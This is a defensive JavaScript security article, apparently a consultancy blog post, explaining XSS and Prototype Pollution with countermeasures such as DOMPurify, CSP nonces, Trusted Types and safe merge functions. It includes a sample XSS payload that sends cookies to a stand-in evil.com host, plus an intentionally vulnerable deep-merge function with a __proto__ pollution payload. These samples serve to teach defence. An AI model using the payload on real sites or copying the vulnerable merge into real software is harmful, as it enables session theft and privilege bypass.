closing JavaScript security holes
Cross-Site Scripting and Prototype Pollution are among the most common and dangerous JavaScript security vulnerabilities. XSS often arises from a single unsafe innerHTML assignment. Prototype Pollution corrupts Object.prototype and makes every instance across the entire program attackable. This article explains both attack vectors and shows concrete countermeasures.
Table of Contents
- 1. XSS: understanding attacks via script injection
- 2. The most common XSS vectors in frontend code
- 3. Defending against XSS: DOMPurify, textContent, and Trusted Types
- 4. Content Security Policy: the last line of defense
- 5. Prototype Pollution: attacking Object.prototype
- 6. How Prototype Pollution arises in real apps
- 7. Preventing Prototype Pollution: Object.freeze and safe merges
- 8. XSS vs. Prototype Pollution: comparison and combined attacks
- 9. Security audit: tools and checklist
- 10. Summary
- 11. FAQ
1. XSS: understanding attacks via script injection
Cross-Site Scripting (XSS) is an attack in which an attacker injects JavaScript code into a web page that is then executed in the victim's browser. The dangerous part: the victim's browser executes the code in the context of the legitimate page, with full access to cookies, localStorage, the DOM, and every API the page uses. Session tokens can be stolen, forms manipulated, and in the case of browser extensions, even privileged APIs abused. XSS has been among the most dangerous web application vulnerabilities in the OWASP Top 10 for years.
There are three variants of XSS: reflected XSS (the payload comes from the URL or request and is embedded unfiltered in the response), stored XSS (the payload is stored in the database and served on every page view), and DOM-based XSS (the payload is written directly into the DOM by unsafe JavaScript in the client code). DOM-based XSS is the most common variant in modern single-page applications and occurs when JavaScript code writes unsafe sources such as location.hash, location.search, or document.referrer into the DOM without sanitization.
2. The most common XSS vectors in frontend code
The most common XSS vector in JavaScript frontends is the direct assignment of non-sanitized strings to innerHTML. When an API response, a URL parameter, or user input flows unfiltered into element.innerHTML = userInput, an attacker can inject arbitrary HTML structures, including <script> tags, event handler attributes (onerror, onload), and data URI attributes. Particularly tricky: <script> tags inserted via innerHTML are not executed by modern browsers, but <img src=x onerror="maliciousCode()"> or <svg onload="..."> most certainly are.
Other dangerous JavaScript APIs for XSS: document.write(), eval(), setTimeout(string) and setInterval(string) (string arguments are executed as JavaScript), new Function(string), and the jQuery method $(string) with uncontrolled inputs. In React, direct XSS via JSX is harder because React automatically escapes all JSX expressions, but dangerouslySetInnerHTML explicitly lifts this protection and should be handled with the same precautions as innerHTML.
// DANGEROUS: direct innerHTML assignment from untrusted source
const userComment = '<img src=x onerror="document.location=\'https://evil.com/?c=\'+document.cookie">';
// XSS: browser executes the onerror handler when img fails to load
document.getElementById('comments').innerHTML = userComment;
// SAFE option 1: use textContent for plain text (never interpreted as HTML)
document.getElementById('output').textContent = userComment;
// SAFE option 2: sanitize with DOMPurify before inserting HTML
// import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userComment, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'title'],
});
document.getElementById('comments').innerHTML = clean;
// DANGEROUS: eval and string-based timers
eval(userInput); // executes any string as JS
setTimeout(userInput, 100); // same danger
// SAFE: always use function references, not strings
setTimeout(() => handleTimeout(), 100);
3. Defending against XSS: DOMPurify, textContent, and Trusted Types
The most important measure against XSS is the consistent use of safe DOM APIs. textContent instead of innerHTML is the first choice for inserting text: the browser never interprets the content as HTML and always displays it as plain text. When HTML actually is needed, DOMPurify is the recommended library: it parses the HTML string in an isolated context, strips all dangerous tags and attributes, and returns a sanitized HTML string. DOMPurify is battle-tested, actively maintained, and supports configurable allowlists for tags and attributes.
Trusted Types are a newer browser API that prevents XSS at the API level: they enforce that dangerous sinks such as innerHTML only accept TrustedHTML objects, not raw strings. Combined with a CSP directive (require-trusted-types-for 'script'), any assignment of a raw string to a dangerous sink becomes a runtime error, effectively banning unsafe DOM operations at the browser level. Trusted Types are currently supported by Chrome and Edge, but not yet by Firefox and Safari.
4. Content Security Policy: the last line of defense
A Content Security Policy (CSP) is an HTTP header that dictates to the browser which resources may be loaded and which JavaScript operations may be executed. A well-configured CSP is the most effective defense-in-depth measure against XSS: even if an attacker injects a script, the policy prevents its execution. The most important directive: script-src 'self' only allows scripts from the same origin. default-src 'none' forbids everything not explicitly allowed. object-src 'none' prevents Flash and other plugins.
The most common CSP trap: 'unsafe-inline' in script-src. It allows inline <script> blocks and event handler attributes and largely neutralizes the policy against XSS attacks. The alternative is nonces: every page response contains a cryptographically random nonce value that appears both in the CSP header (script-src 'nonce-abc123') and as an attribute on legitimate <script> tags. Injected scripts do not know the nonce and are blocked. Hyva CSP in Magento uses exactly this pattern.
// Content Security Policy implementation examples
// HTTP Header (ideal, server-side):
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}';
// style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none';
// base-uri 'self'; form-action 'self'; frame-ancestors 'none';
// Meta tag fallback (less powerful, no frame-ancestors, no form-action):
// <meta http-equiv="Content-Security-Policy" content="default-src 'self'">
// Trusted Types policy (Chrome/Edge, prevents XSS at API level)
if (window.trustedTypes && window.trustedTypes.createPolicy) {
const sanitizer = window.trustedTypes.createPolicy('dompurify', {
// Only allow HTML that passed DOMPurify sanitization
createHTML: (dirty) => DOMPurify.sanitize(dirty, {
RETURN_TRUSTED_TYPE: true,
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
}),
});
// Now innerHTML only accepts TrustedHTML, raw strings throw TypeError
element.innerHTML = sanitizer.createHTML(userInput);
}
// Nonce-based inline script (must match CSP nonce header)
// <script nonce="abc123xyz">
// // This script runs because nonce matches
// </script>
// Injected scripts without nonce are blocked by the browser
5. Prototype Pollution: attacking Object.prototype
Prototype Pollution is a JavaScript-specific attack that exploits the prototype chain. In JavaScript, all plain objects inherit from Object.prototype. If an attacker can set a property on Object.prototype, for example via an unsafe deep-merge algorithm or an unsanitized JSON key like __proto__, that property immediately becomes available on every plain object across the entire program. The consequences are severe: security checks are bypassed, application logic gets corrupted, and in Node.js, Prototype Pollution attacks can even lead to remote code execution.
The classic Prototype Pollution attack looks like this: an attacker sends a JSON body with the key {"__proto__": {"isAdmin": true}}. An unsafe deep-merge algorithm interprets __proto__ as a prototype reference and sets Object.prototype.isAdmin = true. From that moment on, any code in the program that checks user.isAdmin returns true, even for objects that explicitly have no isAdmin property. The security check is compromised without a single line of application code being changed.
6. How Prototype Pollution arises in real apps
The most common sources of Prototype Pollution: unsafe deep-merge functions in custom utility libraries that recursively call target[key] = source[key] without blocking __proto__, constructor, and prototype as keys. Known npm packages such as older versions of lodash.merge, jquery.extend, and hoek had documented Prototype Pollution vulnerabilities. The npm advisories for these packages list thousands of projects as affected downstream dependencies.
Another vector: URL parsing and query string parsing libraries that allow arrays and nested objects via a[__proto__][isAdmin]=true in the URL. The qs package had several versions with this vulnerability. YAML parsers and CSV importers that allow flexible key structures can also become a Prototype Pollution vector. Node.js servers are particularly at risk because a compromised Object.prototype affects all request handlers, not just the current request.
// Prototype Pollution demonstration and prevention
// VULNERABLE deep merge, do not use this pattern
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]); // allows __proto__ pollution
} else {
target[key] = source[key]; // sets Object.prototype properties!
}
}
}
// Attack: injecting via __proto__ key
const maliciousInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
vulnerableMerge({}, maliciousInput);
console.log({}.isAdmin); // true, Object.prototype is polluted!
// SAFE deep merge, block dangerous keys
function safeMerge(target, source) {
const BLOCKED_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
for (const key of Object.keys(source)) {
if (BLOCKED_KEYS.has(key)) continue; // Block prototype pollution vector
if (
typeof source[key] === 'object' &&
source[key] !== null &&
!Array.isArray(source[key])
) {
target[key] = safeMerge(target[key] ?? Object.create(null), source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Create objects without prototype for config parsing (no __proto__ risk)
const config = Object.create(null);
7. Preventing Prototype Pollution: Object.freeze and safe merges
The strongest measure against Prototype Pollution is freezing Object.prototype with Object.freeze(Object.prototype) at application startup. Once frozen, no new properties can be added to Object.prototype: every attempt throws a TypeError in strict mode or is silently ignored in non-strict mode. This is a globally effective safeguard that requires no changes to the rest of the code. In Node.js servers, this call should sit in the initialization phase, before external data is processed.
For safe object merges, it is recommended to use structuredClone() (available from Node 17 and in all modern browsers) instead of manual deep-merge algorithms: structuredClone copies all data types correctly, including nested objects, without allowing prototype chain manipulation. Alternatively: Object.assign({}, ...sources) for flat merges, or JSON.parse(JSON.stringify(obj)) for simple deep copies without methods. For complex merge requirements: Lodash 4.17.21 or later with a patched merge function, or the deepmerge package with explicit key guards.
8. XSS vs. Prototype Pollution: comparison and combined attacks
XSS and Prototype Pollution are orthogonal attack vectors: XSS injects code execution into the client browser through unsafe DOM manipulation. Prototype Pollution corrupts the JavaScript runtime state by manipulating the prototype chain. However, the two can be combined: a Prototype Pollution vulnerability in a frontend framework can cause a downstream-rendered template to execute an XSS payload, even though the template code itself is correctly sanitized.
Concretely: if Object.prototype.toString is overwritten via Prototype Pollution and a template system internally calls obj.toString() to serialize values, an XSS payload can end up inside that method. Client-side Prototype Pollution can also enable CSP bypasses when framework internals use the polluted properties for dynamic script loading. These combined attacks are rare but documented, and they show why both vulnerability classes must be fought simultaneously.
| Attack | Main vector | Impact | Main defense |
|---|---|---|---|
| XSS (DOM-based) | innerHTML, eval | Code execution in the browser context | textContent, DOMPurify, CSP |
| XSS (Reflected) | URL parameter in HTML | Session theft, form manipulation | Server-side escaping, CSP |
| Prototype Pollution | __proto__ in JSON/merge | Global runtime corruption | Object.freeze, safe merges |
| Combined attack | Pollution to XSS payload | CSP bypass, framework exploit | Both defenses plus security audit |
9. Security audit: tools and checklist
A systematic security audit for XSS and Prototype Pollution starts with static analysis. ESLint plugins such as eslint-plugin-security and eslint-plugin-no-unsanitized flag dangerous DOM APIs directly in the code. For Prototype Pollution: npm audit lists known vulnerabilities in dependencies, including many historical pollution bugs. The tool snyk goes deeper and also analyzes transitive dependencies. For dynamic testing, Burp Suite is the standard tool: it automatically injects XSS payloads into all input fields, URL parameters, and headers.
For Prototype Pollution-specific tests: the npm package pp-finder automates the search for pollution vectors in your own codebase. A manual checklist: check every deep-merge call for __proto__ blocking. Check every JSON parse path for key validation. Test query string parsing with nested objects for pollution. In Node.js environments: after startup, check Object.prototype.__proto__ for unexpected properties. Regular npm audit runs in the CI pipeline are mandatory for every production-ready JavaScript application.
// Security hardening: freeze prototype + safe object patterns
// 1. Freeze Object.prototype at application startup
Object.freeze(Object.prototype);
// Now: ({}).polluted = 'yes' via __proto__ throws TypeError in strict mode
// 2. Use Object.create(null) for data containers (no prototype chain)
function parseUserConfig(rawInput) {
const config = Object.create(null); // no __proto__, no toString, no hasOwnProperty
const safeKeys = ['theme', 'language', 'timezone'];
const parsed = JSON.parse(rawInput);
for (const key of safeKeys) {
if (Object.prototype.hasOwnProperty.call(parsed, key)) {
config[key] = String(parsed[key]).slice(0, 100); // type + length guard
}
}
return config;
}
// 3. Safe hasOwnProperty check, never call directly on object
// WRONG: obj.hasOwnProperty(key), attackable via pollution
// RIGHT: always call via Object.prototype
function hasOwn(obj, key) {
return Object.prototype.hasOwnProperty.call(obj, key);
}
// 4. structuredClone for deep copy (pollution-safe)
const deepCopy = structuredClone(sourceObject);
10. Summary
XSS and Prototype Pollution are two of the most effective attack vectors in JavaScript applications. XSS arises from unsafe DOM manipulation with innerHTML, eval, or string-based timers and is defended against with textContent, DOMPurify, and a strict CSP. Prototype Pollution arises from unsafe deep-merge algorithms and uncontrolled JSON keys and is defended against with key blocking in merges, Object.freeze(Object.prototype), and Object.create(null) for data containers.
The most important practical measures summarized: textContent instead of innerHTML as the default. DOMPurify for unavoidable HTML insertions. CSP with nonces without 'unsafe-inline'. Block __proto__, constructor, and prototype as keys in merge functions. Object.freeze(Object.prototype) at program start. npm audit in every CI pipeline. Static analysis with ESLint security plugins. No attack can be prevented if it is unknown, regular audits and up-to-date dependencies are the foundation of every JavaScript security strategy.
Mironsoft
JavaScript security, XSS audits, and secure frontend architecture
Find vulnerabilities before attackers do?
We run JavaScript security audits, identify XSS vectors and Prototype Pollution risks in your codebase, and implement CSP, DOMPurify, and safe object patterns for production-ready security.
XSS audit
Systematically identify innerHTML vectors, eval misuse, and CSP gaps
Pollution analysis
Find unsafe merge algorithms and vulnerable dependencies in the codebase
CSP implementation
Nonce-based CSP without unsafe-inline for Magento Hyva and React applications
XSS and Prototype Pollution: the essentials at a glance
XSS defense
textContent instead of innerHTML. DOMPurify for HTML. CSP with nonces without unsafe-inline. Avoid eval, setTimeout(string), and new Function(string) as a rule.
Prototype Pollution
Object.freeze(Object.prototype) at startup. Block __proto__, constructor, and prototype in merge functions. Object.create(null) for data containers. structuredClone() for deep copies.
Dependency security
npm audit in every CI pipeline. Snyk for transitive dependencies. Older lodash.merge, jquery.extend, and qs versions are common pollution sources.
Static analysis
eslint-plugin-security and eslint-plugin-no-unsanitized flag dangerous APIs. pp-finder for pollution vectors. Integrate both tools into pre-commit hooks.